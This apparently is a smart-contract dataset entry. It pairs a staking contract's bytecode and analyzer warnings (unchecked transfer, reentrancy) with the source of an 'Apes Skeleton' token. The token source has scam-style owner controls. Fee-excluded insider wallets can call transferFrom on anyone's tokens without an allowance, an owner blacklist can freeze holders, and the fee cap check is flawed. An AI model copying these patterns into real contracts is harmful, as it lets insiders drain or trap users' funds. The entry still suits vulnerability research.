b8060078190555050565b600a6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112de57600080fd5b6113b6600254600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561136d57600080fd5b505afa158015611381573d6000803e3d6000fd5b505050506040513d602081101561139757600080fd5b8101908080519060200190929190505050612b3b90919063ffffffff16565b905090565b60035481565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144357600080fd5b8060058190555050565b60011515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b65686f6c646572206d7573742062652072656769737465726564000081525060200191505060405180910390fd5b60011515600860009054906101000a900460ff1615151461157f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612cc86023913960400191505060405180910390fd5b6007548110156115da576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612db06024913960400191505060405180910390fd5b80600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561166457600080fd5b505afa158015611678573d6000803e3d6000fd5b505050506040513d602081101561168e57600080fd5b810190808051906020019092919050505010156116f6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ceb6021913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156117a757600080fd5b505af11580156117bb573d6000803e3d6000fd5b505050506040513d60208110156117d157600080fd5b8101908080519060200190929190505050611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612d85602b913960400191505060405180910390fd5b60006118626103e861185484600354612b5590919063ffffffff16565b612b8290919063ffffffff16565b905060006118798284612b3b90919063ffffffff16565b905061189081600254612ba290919063ffffffff16565b6002819055506118f06118a23361204f565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061199c6201518061198e600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612bbc90919063ffffffff16565b90506119b18142612b3b90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4682600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507ffeb41de252fbc1de97d95a27ed44f6044e66e11df6ca319955eef830b598fdb4338385604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b600080611bba611b1b3361204f565b611bac600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b612ba290919063ffffffff16565b905060008111611c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4e6f2072657761726420746f207769746864726177000000000000000000000081525060200191505060405180910390fd5b80611d0b600254600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611cc257600080fd5b505afa158015611cd6573d6000803e3d6000fd5b505050506040513d6020811015611cec57600080fd5b8101908080519060200190929190505050612b3b90919063ffffffff16565b1015611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d0c6021913960400191505060405180910390fd5b6000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e9a62015180611e8c600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612bbc90919063ffffffff16565b9050611eaf8142612b3b90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f8557600080fd5b505af1158015611f99573d6000803e3d6000fd5b505050506040513d6020811015611faf57600080fd5b8101908080519060200190929190505050507fefbfe3c015941f3419cd0c7f713fd74c6874d0da2d765adc7f700370ccd5ba5c3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160019250505090565b600c6020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b6000806120b9620151806120ab600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612b8290919063ffffffff16565b905061213561271061212783612119600554600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b5590919063ffffffff16565b612b5590919063ffffffff16565b612b8290919063ffffffff16565b915050919050565b60001515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146121e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d646021913960400191505060405180910390fd5b60011515600860009054906101000a900460ff16151514612252576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612cc86023913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f742072656665722073656c6600000000000000000000000000000081525060200191505060405180910390fd5b600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061237857508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16145b6123ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5265666572726572206d7573742062652072656769737465726564000000000081525060200191505060405180910390fd5b81600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561247457600080fd5b505afa158015612488573d6000803e3d6000fd5b505050506040513d602081101561249e57600080fd5b81019080805190602001909291905050501015612506576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ceb6021913960400191505060405180910390fd5b61251d600754600454612ba290919063ffffffff16565b821015612575576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180612d2d6037913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561262657600080fd5b505af115801561263a573d6000803e3d6000fd5b505050506040513d602081101561265057600080fd5b81019080805190602001909291905050506126b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612d85602b913960400191505060405180910390fd5b60006126cd60045484612b3b90919063ffffffff16565b905060006126fa6103e86126ec84600354612b5590919063ffffffff16565b612b8290919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461281557600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055506127d181600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d8816128ca84600254612ba290919063ffffffff16565b612b3b90919063ffffffff16565b6002819055506129428161293484600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b612b3b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f2aef494423269f61b2dd75f1f1e289ef00d20b5a68bd5a6740c518cddd9a865b33856129bd84600454612ba290919063ffffffff16565b86604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a7257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60055481565b60065481565b600082821115612b4a57600080fd5b818303905092915050565b600081830290506000831480612b73575081838281612b7057fe5b04145b612b7c57600080fd5b92915050565b6000808211612b9057600080fd5b818381612b9957fe5b04905092915050565b6000818301905082811015612bb657600080fd5b92915050565b6000612bfe83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612c06565b905092915050565b6000808314158290612cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c78578082015181840152602081019050612c5d565b50505050905090810190601f168015612ca55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481612cbd57fe5b069050939250505056fe536d61727420636f6e747261637420697320637572656e746c7920696e6163746976654d757374206861766520656e6f7567682062616c616e636520746f207374616b65496e73756666696369656e74204c4541442062616c616e636520696e20706f6f6c4d7573742073656e64206174206c6561737420656e6f756768204c45414420746f2070617920726567697374726174696f6e206665652e5374616b65686f6c64657220697320616c726561647920726567697374657265645374616b65206661696c65642064756520746f206661696c656420616d6f756e74207472616e736665722e416d6f756e742069732062656c6f77206d696e696d756d207374616b652076616c75652ea26469706673582212205e64b4efda906bd989182b507b72c57e8d1191e307055158317ae1f54434685064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,003
0xa3f13f1572ff1e263758fb1bca22548a64fdc3a5
/** Welcome To Apes Skeleton ($APESS) Join Our Telegram: https://t.me/ApesSkeleton Web: https://apesskeleton.xyz/ */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ApesSkeleton is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Apes Skeleton";// string private constant _symbol = "APESS";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 4;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 4;// uint256 private _taxFeeOnSell = 7;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xda8F3eDF6790B43163e320A805015C5A4D2Ad839);// address payable private _marketingAddress = payable(0x53083fe1d1F18fB7a8061D58B628E0650e498048);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**9; // uint256 public _maxWalletSize = 10000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000* 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function EnbleTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b806395d89b41116100d157806395d89b41146104e857806398a5c31514610513578063a2a957bb1461053c578063a8e456de14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f9a55c0146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061322f565b6106f0565b005b34801561021157600080fd5b5061021a610840565b60405161022791906136e1565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061319b565b61087d565b60405161026491906136ab565b60405180910390f35b34801561027957600080fd5b5061028261089b565b60405161028f91906136c6565b60405180910390f35b3480156102a457600080fd5b506102ad6108c1565b6040516102ba9190613923565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e5919061314c565b6108d1565b6040516102f791906136ab565b60405180910390f35b34801561030c57600080fd5b50610315610a03565b6040516103229190613923565b60405180910390f35b34801561033757600080fd5b50610340610a09565b60405161034d9190613998565b60405180910390f35b34801561036257600080fd5b5061036b610a12565b6040516103789190613690565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906130be565b610a38565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613270565b610b28565b005b3480156103df57600080fd5b506103e8610bd9565b005b3480156103f657600080fd5b50610411600480360381019061040c91906130be565b610caa565b60405161041e9190613923565b60405180910390f35b34801561043357600080fd5b5061043c610cfb565b005b34801561044a57600080fd5b5061046560048036038101906104609190613299565b610e4e565b005b34801561047357600080fd5b5061047c610f45565b6040516104899190613923565b60405180910390f35b34801561049e57600080fd5b506104a7610f4b565b6040516104b49190613690565b60405180910390f35b3480156104c957600080fd5b506104d2610f74565b6040516104df9190613923565b60405180910390f35b3480156104f457600080fd5b506104fd610f7a565b60405161050a91906136e1565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190613299565b610fb7565b005b34801561054857600080fd5b50610563600480360381019061055e91906132c2565b611056565b005b34801561057157600080fd5b5061057a61117f565b005b34801561058857600080fd5b506105a3600480360381019061059e919061319b565b611238565b6040516105b091906136ab565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db91906130be565b611256565b6040516105ed91906136ab565b60405180910390f35b34801561060257600080fd5b5061060b611276565b005b34801561061957600080fd5b50610634600480360381019061062f91906131d7565b61134f565b005b34801561064257600080fd5b5061064b6114af565b6040516106589190613923565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613110565b6114b5565b6040516106959190613923565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c09190613299565b61153c565b005b3480156106d357600080fd5b506106ee60048036038101906106e991906130be565b611633565b005b6106f86117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c90613843565b60405180910390fd5b60005b815181101561083c576001601160008484815181106107d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083490613c5d565b915050610788565b5050565b60606040518060400160405280600d81526020017f4170657320536b656c65746f6e00000000000000000000000000000000000000815250905090565b600061089161088a6117f5565b84846117fd565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108de8484846119c8565b600560006108ea6117f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109f8576109f7846109426117f5565b6109f28560405180606001604052806028815260200161423160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a86117f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239c9092919063